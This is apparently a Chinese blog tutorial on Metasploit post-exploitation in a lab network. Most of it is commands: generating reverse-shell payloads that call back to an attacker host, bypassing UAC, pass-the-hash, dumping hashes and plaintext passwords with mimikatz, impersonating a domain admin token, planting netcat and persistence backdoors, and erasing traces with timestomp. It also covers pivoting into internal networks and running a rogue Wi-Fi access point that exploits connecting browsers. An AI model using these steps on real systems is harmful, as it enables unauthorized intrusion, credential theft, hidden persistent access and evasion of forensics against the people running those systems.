• Metasploit——后渗透测试阶段


    目录

    1.已经获得目标系统控制权后扩大战果

    2.基于已有session扩大战果

    3.获取system账号权限

     4.绕过UAC限制

     5.利用漏洞直接提权为system

    6.图形化payload

    7.Psexec模块之Passthehash(获得的是system权限)

     8.获得system权限后的常用操作

    9.域渗透

    10.Windows注册表

    (1)用注册表添加NC后门服务(meterpreter)

    (2)打开防火墙端口(meterpreter)

    11.信息收集(meterpreter扩大攻击)

    12.痕迹清理(修改时间)

    13.内网渗透(接近真实 )

    (1)通过路由的方式

    搭建

    开始渗透

    后渗透阶段

     (2)基于端口的Pivoting之端口转发Portfwd

    14.POST模块

    15.持久后门

    (1)Meterpreter后门 

    (2) 持久后门(目标系统重新启动后,自动反弹shell)

    16.MSF延伸用法Mimikatz

    17.meterpreter延伸用法

    (1)PHP shell

     (2)Web Delivery

    (3)RFI远程文件包含

    (4)伪造AP、嗅探密码、截获数据、浏览器攻击

    (1) 下载资源文件(Karmetasploit)

    (2)基础架构安装配置

    (3)基础配置服务设置好,现在进行伪造AP

    (4)允许用户正常上网,修改资源文件内容


    1.已经获得目标系统控制权后扩大战果

    提权

    信息收集

    渗透内网

    永久后门

    2.基于已有session扩大战果

    - msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 - b "\x00" -e x86/shikata_ga_nai -f exe -o a.exe

    ###启动kali上的apache,将文件a.exe放在网站目录下,直接在win7上下载a.exe


    - use /exploit/multi/handler
    - set payload windows/meterpreter/reverse_tcp 开启侦听
    - exploit
    - 只要目标系统执行a.exe,即可获得shell

    启动kali上的apache,将文件a.exe放在网站目录下 

    3.获取system账号权限

     

     使用getsystem时提示Operation failed:Access is denied.The following was attempted

    操作失败:访问被拒绝。尝试了以下操作。看到访问被拒绝,基本上是UAC这个功能在扰乱

     4.绕过UAC限制

    1. #利用已有的session,再去执行另一个程序,另一个程序执行时,要求UAC访问控制的允许,允许就执行,不
    2. #允许就不执行
    3. use exploit/windows/local/ask
    4. set payload windows/meterpreter/reverse_tcp
    5. show options

    use exploit/windows/local/bypassuac

    set session

    set payload

    不需要骗取目标用户点击允许,以exe直接bypass UAC

    use exploit/windows/local/bypassuac_injection 

    set session 

    set payload

    不需要骗取目标用户点击允许,以dll直接bypass UAC

     5.利用漏洞直接提权为system

     本地漏洞利用提权,不用getsystem,直接就是system权限

    6.图形化payload

    payload一旦在win7上执行,VNC的图形化界面shell反弹到kali,4444这个端口,然后进行端口的转换,转换到本机侦听的5900这个端口,最终将win7图形化界面反弹给kali。

    这个界面只能看,不能操作,要想操作,就set viewonly no(true改成了false)

     不是每个exploit模块都能使用这个payload

    现已经获得session和system权限的账号,就可以来获取这个系统上的信息

    load priv

    hashdump 获取用户账号和加密的hash值

    7.Psexec模块之Passthehash(获得的是system权限)

     利用smb文件共享,可以看文件服务器的文件,同时也可以利用smb协议,在目标上执行一些程序,通过例如psexec这种方式执行

    smb 445端口

    设置账户和密码的hash值

     设置侦听的payload,再exlpoit,但是会报错,需要先关闭UAC

    1. - use exploit/windows/smb/psexec
    2. - set smbuser 1stPeak
    3. - set smbpass 用户的hash值
    4. - 使用该模块需要关闭UAC,并且重启,否则会报如下错误

    利用已经获得system的session,关掉UAC

    具体方法在上面的图片

    调用reg.exe这个命令,添加一个注册表

    cmd关闭了UAC,需要重启目标系统才能生效

    1. - 立即重启系统
    2. shutdown /r /t 0
    3. #然后就可以使用......psexec这个模块了

     8.获得system权限后的常用操作

     (以上操作需要管理员或system权限) 

     netsh:windwos中强大的网络配置工具

    net stop是用来结束服务的

    manage-bde -off C: 关闭磁盘加密     manage-bde-status C: 查看bitlocker加密状态

    关闭DEP,基于硬件防恶意软件被CPU执行的技术

    killav是个脚本,会杀掉杀毒软件

    利用远程桌面,稳定,不会引起怀疑,不会被杀毒软件杀掉

    1. 1.run post/windows/manage/enable_rdp #打开远程桌面
    2. /root/.msf4/loot/20200219100050_default_192.168.100.156_host.windows.cle_840297.txt
    3. #关闭远程桌面
    4. 2.run getgui -e #使用getgui脚本打开远程桌面
    5. run getgui -U yuanfh -p pass #向目标系统的远程桌面用户组里添加用户
    6. redesktop x.x.x.x #远桌面程连接目标系统
    7. screenshot #桌面截图
    8. use espia #加载espia插件(在meterpreter中use和load意义一样)
    9. screengrab #截图

    添加远程桌面用户

    9.域渗透

     Delegate Token: 交互登陆会话

            (注销后登陆输入用户名密码/远程桌面,这是活动状态的Token)

    Impersonate Token: 非交互登陆会话

            (访问smb文件共享目录,也需要登录,这种访问不能进一步去做其他的交互)

    注:只要身份认证通过,交互和非交互Token的权限是一样的。

    域,安全边界,在安全边界内的资源都是互相信任的,在彼此访问时不需要再做身份验证,域内administrator权限无限大

     在win2003上设置ip,设置DNS

     安装域控,dcpromo

     指定新域名(DNS全名):lab.com;插入安装包;等待安装,然后完成——>重启

     需要将一台win xp加入域中,将win xp的IP修改一下,指定DNS为win2003的ip,不然解析不到域名

     加入域,域的账户密码,加完域要重启,跟域控制器,获取新的token(新的权限)

     在win2003,win+r,dsa.msc,为xp创建一个用户账号,设置密码

     

     xp用账户密码登录域(是普通用户,甚至连修改时间的权利都没有)

    无法获取任何种类的token,如果想获取这台机器上存在的token,必须获取到这个机器系统的system权限。


    先用攻击机获得xp的meterpreter,获得system权限

    load incognito

    list_tokens 查看这台机器上有哪些默认的token,可以查看组的token,也可以查看用户的token

     在token里没有域管理员administrator的token

    在win2003上用域控制器访问xp这台电脑,总之,2003跟xp建立了文件共享smb,就已经建立了impersonation类的token

     再运行list_tokens -u,就获得了域管理员的token

     因为这个时候攻击者已经是xp上的system权限了,而且也有域管理员的token,就可以通过token伪装成域管理员

    impersonate_token LAB\\administrator 

    (两个反斜线,前面那个是用来转义,后面那条有意义,就是LAB下的administrator)

    getuid,已经是域管理员身份了

     

    然后执行execute -f cmd.exe -i -t

    (-f 指定命令,-i 交互进入cmd,-t 利用当前假冒的token运行程序)

     

     执行完之后就会获得cmd的命令行,和使用shell一样

    10.Windows注册表

    注册表是系统配置的集中位置

     利用:大多数病毒会被注入到操作系统的启动项里,找到病毒进程杀死后,之后重启这个病毒又会启动。

    (1)用注册表添加NC后门服务(meterpreter)

    已经取得了目标的meterpreter的shell

    在此shell的基础上,用注册表添加NC后门服务,开机自动运行

    这个过程至少有一方的IP是固定的,方便控制;目标不固定,用反弹shell的方式

    -d:后台静默执行

    -L:监听本地端口,断开依旧侦听端口,不关闭端口

    -p:指定端口

    reg setval -k......后,查看xp注册表,nc已存在

     reg queryval -k......查询是否存在(目标系统需要重启,我们的444端口才开始侦听)

     生效了,就可以去连接了

    (如果目标系统开了防火墙,需要先关掉,但是太容易被发现,可以在防火墙增加一个策略,允许通过一个端口从远地连接)

    (2)打开防火墙端口(meterpreter)

     -H:静默模式,后台运行,不显示窗口

    netsh firewall show opmode 查看这台机器防火墙的状态(开?关?)

    netsh firewall add portopening TCP 4444 "test" ENABLE ALL 增加策略,允许连接4444端口,进程名test可以修改成其它更加有隐蔽性的名称

    shutdown -r -f -t 0

    -r restart;-f 强行关闭应用程序;-t 0立即重启

    @kali~# nc 1.1.1.1 4444连接,获得shell(每次win xp重启的时候,nc的侦听都会启动)

    可以使用专门的nc后门程序

    11.信息收集(meterpreter扩大攻击)

     load sniffer加载嗅探插件sniffer_interfaces扫描网卡sniffer_start 2使用指定网卡ID号进行抓包(不会再目标系统上显示,在内存中缓存区块循环存储抓包(50000包) ,不写硬盘,只会再内存中运行,默认只保存五万各数据包,循环更替数据包,50001替换1,500002替换2,以此类推)
    sniffer_dump 2 1.cap dump这五万个数据包,2是网卡2,1.cap是数据包名,如果没有及时dump下来,前面的包会被替换
    -该插件智能过滤meterpreter流量,它只抓目标机正常与外部访问的数据包,攻击机与目标之间传输全程使用SSL/TLS加密。

    .......psnuffle模块用来解码,但是看不到内容,还是适当使用wireshark

    search -d C:\\....... 给空格加了转义符

    Jonn.....这个只是来检查是否是典型的弱口令,没有很强大的字典

    use post/windows/gather/hashdump 会把得到内容放到tmp里

    更方便与use auxiliary/analyze/jtr_windows_fast一起使用(它会自动破解/tmp目录下的hash)

    hashdump命令是导出目标机sam数据库中的Hash

    12.痕迹清理(修改时间)

     

    不要触碰文件系统,容易留下痕迹

    MAC时间(Modified / Accessed / Changed缩写)

    modified记录对文件的修改,

    Accessed记录对文件的访问,

    Changed记录对文件权限的修改。

    Is -l --time=atime/ctime 1.txtls -l 1.txt 这个命令显示的时间就是mtime,不能直接用time=mtime)

    stat 1.txt linux环境下一次列出三个时间

    touch -d "2 days ago" 1.txt  linux修改文件的modified和accessed时间,向前推两天,

    使用cat,会改变accessed时间,modified和changed时间不变,使用vi,三者时间都变(时间一样),使用chmod,只变化changed时间
    touch -t 1501010101 1.txt 修改年月日时分(只会修改modified和accessed)

    MACE,文件大量信息里的任何一项变化,E时间就会变化

     Timestomp也是应用于修改时间,并且能力相较于前者更强

     ls 在meterpretre下使用ls会直接显示modified时间


    timestomp -v 1.txt 显示文件的详细时间,多出Entry Modified的显示
     timestomp -f c:\\autoexec.bat 1.txt
            将文件时间修改成和指定文件一样,-f 指定模板(MAC和Entry时间都改变)

            在win xp里看不到entry时间
    timestomp -b -r 擦除MACE时间信息,目前此参数功能失效
    timestomp -m/-a/-c/-e/-z 修改modified时间/修改accessed时间/修改created时间/修改entry时间/四种都修改

    timestomp -z "MM/DD/YYYY HH24:MI:SS" 2.txt (随便修改)

    timestomp -z "日/月/年 小时:分:秒" 2.txt

    13.内网渗透(接近真实 )

    (1)通过路由的方式

    搭建

    准备虚拟机Mono1,防火墙,需要两个网卡,网卡1连接到kali所在网络,网卡2桥接到物理网卡。

     

    准备虚拟机Mono2,防火墙,需要两个网卡,网卡1连接到win7所在网络,网卡2桥接到物理网卡。

     

     配置防火墙mono1规则

    mono1在公网上IP对应的80端口映射给kali这台机器的80端口(如果启动了kali的apache的80端口侦听),有人来访问此公网IP时,实际上能看到kali网站的内容

    配置防火墙mono2规则

     

    从内网到任何端口到任何目标都是允许的

     win7

     

     关掉UAC

    开始渗透

    kali生成一个执行程序,cp a.exe /var/www/html

     用win7访问kali上的网站192.168.21.91/a.exe下载a.exe,访问的是公网IP

    在kali上设置侦听,LHOST设置的是kali自身的IP

    在win7上执行a.exe,就会通过自己的防火墙,去访问外网,访问出来连接程序配好的192.168.21.91的4444端口,因为防火墙规则,就会将其转发到内网kali的4444端口,就拿到shell了

    后渗透阶段

    MSF的跳板功能是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由,直接使用MSF去访问原本不能直接访问的内网资源,只要路由可达了就可以使用MSF来进行探测了。

    已经建立的session(一个通信的通道),所以使用msf,在两者间增加一条路由。该命令只限在msf内部使用,但还是不能访问外网的被攻击目标内网网段。

    凡是kali发送给目标网络的数据包都会发给已经作为跳板的win7,再由win7转发给其他电脑

    1. run autoroute -s 2.1.1.0/24 //win7的IP,如果win7是双网卡,添加的路由就是另一个IP
    2. run autoroute -p
    3. #查看路由配置

     所有去往2.1.1.0这个网段的创建的信息/数据包,都通过这个session1

    端口扫描

    在kali ,meterpreter使用端口扫描, (这个路由对db_nmap不起作用,只能使用msf里的模块,才会有效)

     

    开放了445端口 ,尝试

    1. use pxploit/windows/smb/ms08_067_netapi
    2. set RHOST 2.1.1.11
    3. set payload windows/meterpreter/reverse_tcp
    4. set LHOST 2.1.1.10

    设置LHOST,如果为Mono1公网IP,4444端口,这样设置是没有问题的,但是,如果xp没有公网访问权,exp和payload传到了xp,xp反弹shell是无法给到mono1公网的。所以设置为LHOST设置为win7的IP。


    刚刚运行的指令,都是通过win7这台电脑,转发给xp,xp回连也通过win7,win7的所有工作实现都是通过a.exe,但a.exe会提示要打开一个新的网络连接,导致反弹shell失败。


    (因为win7没关防火墙,所以才会做提示,只要在防火墙添加规则,就不会弹出窗口了)

    xp是与win7建立了连接的,是因为win7防火墙,导致其没有将shell回传给kali

    已经获得xp的shell

     (2)基于端口的Pivoting之端口转发Portfwd

    1. #删除路由,免得影响演示转口转发的效果
    2. run autoroute -d -s 192.168.100.0/24

    就是把本地的一个1端口,和远程的服务端口做个映射,一旦本地侦听的一个端口与远程的服务端口做一个绑定的话,在进行连接的时候,这个绑定相当于一个隧道,这个隧道建立起来后,连接的时候只需要连接本地这个侦听端口,会自动通过隧道,访问到目标IP地址。

    1. #利用已经被控计算机,在kali与攻击目标之间实现端口转发
    2. portfwd add -L 1.1.1.10 -l 455 -r 2.1.1.11 -p 3389
    3. -L:本地侦听IP
    4. -l:本地侦听端口
    5. -r:把本地端口映射给远程的端口
    6. -p:指定要映射的远程端口
    7. #表示访问目标端口3389
    8. @kali~ rdesktop 127.0.0.1:445
    9. #查看端口转发配置信息/删除指定端口转发/删除所有端口转发
    10. portfwd list / delete / flush
    11. 总结:端口转发就是将本地的端口映射给远程目标的端口,俗话就是,我把我本机的445端口和目标的3389绑在一起,本机445就是目标3389

    不指定-L,以本机0.0.0.0(所有本地IP指定端口)映射目标指定端口

    1. use exploit/windows/smb/ms08_067_netapi
    2. set RHOST 127.0.0.1
    3. set LHOST 2.1.1.10
    4. use exploit/multi/handler
    5. set exitonsession false

    14.POST模块

    当取得了shell后,在此基础上使用的 POST 模块

    exploit/mutli/handler模块设置侦听端口一直处于侦听状态

    1. set exitonsession false
    2. #exploit后侦听端口已经被连接后,依旧不关闭该端口的侦听,可通过jobs查看

    加了这条配置之后,意思是:当第一个客户端机器来连4444端口获得meterpreter shell后,4444端口还继续侦听,如果有第二个机器来连这个端口,也会获得第二个机器的meterpreter shell......4444端口是持续有效的

    (如果没加这条配置,当第一个连上4444端口,获得shell后,就会关闭4444端口的侦听)

    常用 POST 模块(meterpreter)

    1. # 执行arp扫描,扫描与靶机同IP段
    2. run post/windows/gather/arp_scanner RHOSTS=x.x.x.0/24
    3. # 扫描目标靶机是否为虚拟机
    4. run post/windows/gather/checkvm
    5. # 查看身份账号信息:用户hash值和token
    6. run post/windows/gather/credentials/credential_collector
    7. # 查看目标系统安装了哪些软件
    8. run post/windows/gather/enum_applications
    9. # 目标系统当前有哪些用户处于登陆状态,用户配置文件位置
    10. run post/windows/gather/enum_logged_on_users
    11. # 目标系统snmp的相关配置
    12. run post/windows/gather/enum_snmp
    13. # 扫描目标系统存在哪些本地可以提权的漏洞,显示对应可以利用的模块
    14. run post/multi/recon/local_exploit_suggester
    15. # 删除目标系统中指定的用户账号
    16. run post/windows/manage/delete_user USERNAME="用户名"
    17. # 查看系统运行环境变量信息
    18. run post/multi/gather/env
    19. # 查看firefox里保存的账号和密码
    20. run post/multi/gather/firefox_creds
    21. # 查看本地ssh登陆后保存的账号和密码,身份认证,证书信息
    22. run post/multi/gather/ssh_creds
    23. # 检查目标系统指定文件是否为恶意文件
    24. run post/multi/gather/check_malware REMOTEFILE=c:\\xx.exe

     自动执行meterpreter脚本

    1. #编辑目标机器上的host文件,可以实行域名欺骗,流量劫持
    2. set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com

     

     缓存没有清除的话,这个目标解析操作就不会生效。一般解析会先去找缓存,缓存没有就找host,host没有就找DNS服务器。如果host有就去解析1.1.1.1这个IP地址。

    在meterpreter下使用run, 下面有256个meterpreter脚本或者post模块,可供使用

    1. # 搜集目标操作系统上运行的大量操作系统信息
    2. run wineum

     执行完保存到这个文件里

     migrate -N explorer.exe 直接指定移动的进程

    1. #自动将进程转移到explorer.exe下
    2. use exploit/mutli/handler
    3. show advanced
    4. set AutoRunScript migrate -n explorer.exe
    5. exploit -j -z
    6. #当目标运行a.exe,获得shell的同时,会将a.exe隐藏到explorer.exe

    exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

    查看目标系统使用者最近正在编辑哪些文件(我最近的文档),前提:migrate到指定用户

    set AutoRunScript post/windows/gather/dumplinks

    通过 dumplink 模块来获得目标主机最佳进行的系统操作、访问文件和 Office 文档的操作记录。

    AutoRunScript只运行执行一个这个模块,无法有两个模块按顺序执行,

    解决方式是将AutoRunScript换成InitialAutoRunScript(这个执行后,可以继续执行AutoRunScript的模块)

    1. # 先运行一个脚本
    2. set InitialAutoRunScript migrate -n explorer.exe
    3. # 再运行第二个脚本,收集dumplinks信息
    4. set AutoRunScript post/windows/gather/dumplinks
    5. #通过 dumplink 模块来获得目标主机最佳进行的系统操作、访问文件和 Office 文档的操作记录。

    15.持久后门

    (1)Meterpreter后门 

     在内存中完成,不向目标硬盘写入任何后门文件,一旦写入文件容易被杀毒软件查杀,在内存里隐蔽性相对高一点,比文件系统级别的后门程序相对安全一些。

    拿到meterpreter的第一件事情就是将自己的shell变成持久化shell

    (如果目标系统使用者发现了,结束进程,打补丁,重启,当前meterpreter shell会失效,等重启之后,meterpreter shell会再次反弹回来)

    1. # 创建了名为metsvc的服务,自动开启"目标本地"xp 的侦听端口31337,不能用nc去连
    2. run metsvc -A
    3. # 删除再目标系统上创建的服务
    4. run metsvc -r
    5. # 在msf中使用模块连接目标系统侦听的端口31337
    6. # 用msf客户端,连接metsvc的服务运行的那台xp
    7. use exploit/multi/handler
    8. set payload windows/metsvc_bind_tcp
    9. set lport 31337
    10. set rhost 目标IP
    11. exploit
    12. # 目标x.x.x.x:31337这个端口,反弹shell给我们

     -A 自动启动一个匹配的 exploit/multi/handler 去连接service

    -r 就是删除已有的meterpreter

    这种后门方法是只能用31337端口,不能更改所以,容易暴露,而且别人也能连接,不推荐

    (2) 持久后门(目标系统重新启动后,自动反弹shell)

    -i:延时启动,使meterpreter的shell更稳定

    -p:指定端口

    -r:指定回连本机的IP,就是攻击机IP

     -X:目标重启计算机后自动启动后门

    -U:当目标用户登录时自动启动后门

    -S:目标系统重启时将后门当作服务自动启动(具有系统特权)


    往目标系统植入一个vbs的后门,开机自动连接指定IP的端口
    执行后,需要我们kali开启侦听(端口要和之前run persistence指定的一致)

    1. run persistence -X -i 10 -p 4444 -r 1.1.1.1
    2. use /exploit/multi/handler
    3. set lport 4444
    4. set lhost 1.1.1.1
    5. exploit
    6. #只要目标系统重启,kali即可获得回连的shell

     

     

     重新启动xp,在kali这边新建了一个session ID,自动做了迁移

    16.MSF延伸用法Mimikatz

    1. #使用mimikatz需要先获得system权限
    2. getsystem
    3. #加载插件
    4. load mimikatz
    5. wdigest、kerberos 、msv、ssp、tspkg 、livessp
    6. # wdigest明文显示用户账号和密码信息(包括内存中的)、kerberos和wdigest差不多、
    7. # msv用户hash值、ssp用户明文信息、tspkg身份认证信息、livessp存活的用户明文信息

    wdigest / kerberos,显示密码明文

    1. mimikatz_ command -h
    2. 1)mimikatz_command -f a::
    3. # 通过犯错查看有哪些模块可以利用,就是在-f后面加个不存在的模块和两个冒号
    4. 2)mimikatz_command -f samdump::hashes / Bootkey
    5. # 查看hash值或Bootkey
    6. 3)mimikatz_command -f handle::list
    7. # 查看当前操作系统进程
    8. 4)mimikatz_command -f service:list
    9. # 查看操作系统服务
    10. 5)mimikatz_command -f crypot::listProviders
    11. # 查看系统支持哪些加密套件
    12. 6)mimikatz_command -f winmine:infos
    13. # 查看你当前玩的扫雷哪些是地雷
    14. # 注:每个命令都还有子命令,::后面都是子命令,查看子命令:mimikatz_command -f 存在的模块::

    扫雷游戏

    17.meterpreter延伸用法

    (1)PHP shell

    生成php文件,在web找文件上传点,然后找到路径访问php文件,反弹shell

    msfvenom......可以输出多种格式的文件

    设置php的payload侦听

     (2)Web Delivery

     在kali上启动webserver,上面放一个漏洞执行代码;一个存在代码执行漏洞的目标页面,让它远程访问kali上存在漏洞执行代码的url地址,目标一旦访问url地址,就会下载漏洞执行代码的内容到本地,然后执行,就会生成一个meterpreter的shell,弹回kali。


    代码执行漏洞的代码,由use exploit/multi/script/web_delivery生成

     

     将漏洞执行代码复制粘贴在代码执行的地方(以下图片是DVWA的命令执行)

    (3)RFI远程文件包含

     在攻击者kali放一个webshell,通过浏览器访问有漏洞的web服务器的存在漏洞的url地址,把它要包含的文件指向远程url地址(漏洞利用位置),让它远程包含kali的webshell,一旦webshell被包含到目标服务器,那就拿到了这台服务器的shell。(远程包含)

    用kali访问目标包含的webshell,也可拿到shell(这里就是本地包含),可以拿到两种shell

    1. - use exploit/unix/webapp/php_include
    2. - set RHOST x.x.x.x
    3. - set PATH /dvwa/vulnerabilities/fi/
    4. 设置攻击的目标路径
    5. - set PHPURI /?page=XXpathXX
    6. 自动使用path替换原来的?page=后面的内容
    7. - set HEADERS "Cookie:security=low;PHPSESSID=eefcf023ba61219d4745ad7487fe81d7"
    8. - set payload php/meterpreter/reverse_tcp
    9. - set lhost 1.1.1.1
    10. - exploit

     

    (4)伪造AP、嗅探密码、截获数据、浏览器攻击

    伪造AP

    伪造一个AP,诱使别人来连这个AP,别人连了这个AP访问Internet上其他网站服务器的时候,因为流量经过这个AP,就可以在这个AP上嗅探抓包,因为有msf,可以在AP上启动一些漏洞利用模块,然后目标的流量经过AP,一旦发现目标浏览器有漏洞,通过流量分析可以判断浏览器版本是否有漏洞,尝试往流量里注入漏洞利用代码(插入到返回的流量中),一旦返回流量中 收到后有漏洞利用代码,恰好浏览器有对应漏洞,那么代码就会执行,创建新的meterpreter shell。

    (ap一般指的是无线访问节点,一般充当连接有线网与无线网之间的一个桥梁,让两者能够相互访问、相互通信。)

     

    (1) 下载资源文件(Karmetasploit)

    里面包含多个对客户端漏洞利用的模块

    1. - wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc .txt
    2. - 安装其他依赖包
    3. gem install activerecord sqlite3-ruby

    (2)基础架构安装配置

    (在kali上安装dhcp服务,因为伪造了AP,需要给伪造AP连接的系统分发IP)

    kali伪装成AP之后,有客户端连上这个AP的时候,需要用dhcp服务给客户端分发一个IP地址

    (不建议在kali上安装dhcp服务)

    1. - apt-get install isc-dhcp-server
    2. - cat /etc/dhcp/dhcpd.conf #配置文件
    3. 使用vim后配置如下:
    4. option domain-name-servers 10.0.0.1;(伪造AP用的IP地址,就是kali的网卡IP)
    5. default-lease-time 60;(AP租约期限,设置短一点,提高利用率)
    6. max-lease-time 72;(AP租约期限,设置短一点,提高利用率)
    7. ddns-update-style none;(这一行留着)
    8. authoritative;(授权DHCP服务器)
    9. log-facility local7;(记录日志)
    10. subnet 10.0.0.0 netmask 255.255.255.0 {(定义子网网段)
    11. range 10.0.0.100 10.0.0.254;(分发给客户端的IP地址的网段)
    12. option routers 10.0.0.1;(分发出去网段的网关地址)
    13. option domain-name-servers 10.0.0.1;(分发本网段的DNS服务器,有全局可以不用设)
    14. }

    (3)基础配置服务设置好,现在进行伪造AP

    1. - airmon-ng start wlan0
    2. #先要启动侦听模式,将wlan0设置为侦听模式
    3. - airbase-ng -P -C 30 -e "FREE" -v wlan0mon
    4. #启动侦听模式后,会生成 wlan0mon这样的侦听模式的网卡,利用它伪造airbase命令,伪造生成AP
    5. - ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
    6. up at0,10.0.0.1作为客户端连接,DNS服务器地址,同时也是网关地址
    7. - touch /var/lib/dhcp/dhcpd.leases
    8. 建议DHCP租约文件,用来保存分配IP的信息
    9. - dhcpd -cf /etc/dhcp/dhcpd.conf at0
    10. 指定网卡启动DHCP服务
    11. - 启动Karmetasploit资源文件模块,当有客户端连接我伪造的AP,发送流量经过我的伪造AP(就是Kali),我在kali上就可以截获信息与注入代码等攻击
    12. msfconsole -q -r karma.rc_.txt
    13. - 流量流经伪造的AP后会被kaili自动侦听和漏洞利用,漏洞利用成功后,会获得session(注:目标连接伪造的wifi后,上不了网,流量只会流经到伪造AP,无法再进行转发到互联网,那如何解决?请看下面)

     

     

    因为aiebase已经启动伪造AP的命令,生成一个at0 ,at0将作为AP连接的虚拟网卡(因为还没激活,所以只能在ifconfig -a里看到)

     ifconfig at0 up 10.0.0.1 netmask 255.255.255.0  激活,可以用ifconfig看到at0了

     

     在启动dhcp之前,还有租约文件要建立,用来保存分配IP的信息

    然后启动DHCP,启动后,在物理主机,FREE这个AP已经存在了

    可以被连上,但无Internet。只是连上AP,但AP另一端通不到互联网,没加防火墙规则,没开启路由,所以只是能被连上而已。

     

    msfconsole -q -r karma.rc_.txt

     启动Karmetasploit,启动后,当客户端把流量发给伪造的AP,kali这台机器,kali就可以截获信息,往里面注入攻击代码,完成各种各样的攻击

    (4)允许用户正常上网,修改资源文件内容

    1. - 允许用户正常上网,修改资源文件内容
    2. (1)vi karma.rc_.txt
    3. (2)删除db_connect postgres...
    4. (3)删除开头setg的参数(整条内容),这样目标客户端才可以正常访问互联网
    5. (4)删除set lport
    6. (5)增加browser_autopwn2等其他模块(有大量客户端软件漏洞利用相关模块)
    7. use auxiliary/server/browser_autopwn2
    8. set SRVPORT 55560
    9. run
    10. (6)增加检查恶意流量的模块(非攻击模块,可不添加)
    11. use auxiliary/vsploit/malware/dns_(有三个模块)
    12. 可以依次配置相关信息
    13. 依次run
    14. (7)保存后启动Karmetasploit
    15. msfconsole -q -r karma.rc_.txt
    16. (8)添加路由和防火墙规则
    17. echo 1 > /proc/sys/net/ipv4/ip_forward(IP转发)
    18. 防火墙添加两条iptables规则:
    19. iptables P FORWARD ACCEPT
    20. iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    21. 注:DNS欺骗,就是伪造IP,比如将https://www.baidu.com伪造IP为x.x.x.x,于是,只要目标访问https://www.baidu.com,就会访问我们伪造的x.x.x.x,不会访问真实的网站

     

    这个模块show options里的TRAGETACTION,设置为BYPASS就会把请求转发给真实的DNS服务器;设置为FAKE就是伪造 (实现DNS地址伪造)

     

  • 相关阅读:
    168. Excel表列名称
    自然语言处理从零到入门 NLP
    Docker学习笔记
    ECCV 2022 Diffusion models最新研究成果:熵约束算法解决梯度消失问题
    webpack原理篇(六十一):更复杂的 loader 的开发场
    助力Java开发者成功,微软是认真的
    分布式+微服务系统架构
    系统架构设计专业技能 ·结构化需求分析 - 数据流图
    Conda快速安装的解决方法(Mamba安装)
    【yolov6系列一】深度解析网络架构
  • 原文地址:https://blog.csdn.net/m0_62063669/article/details/126279370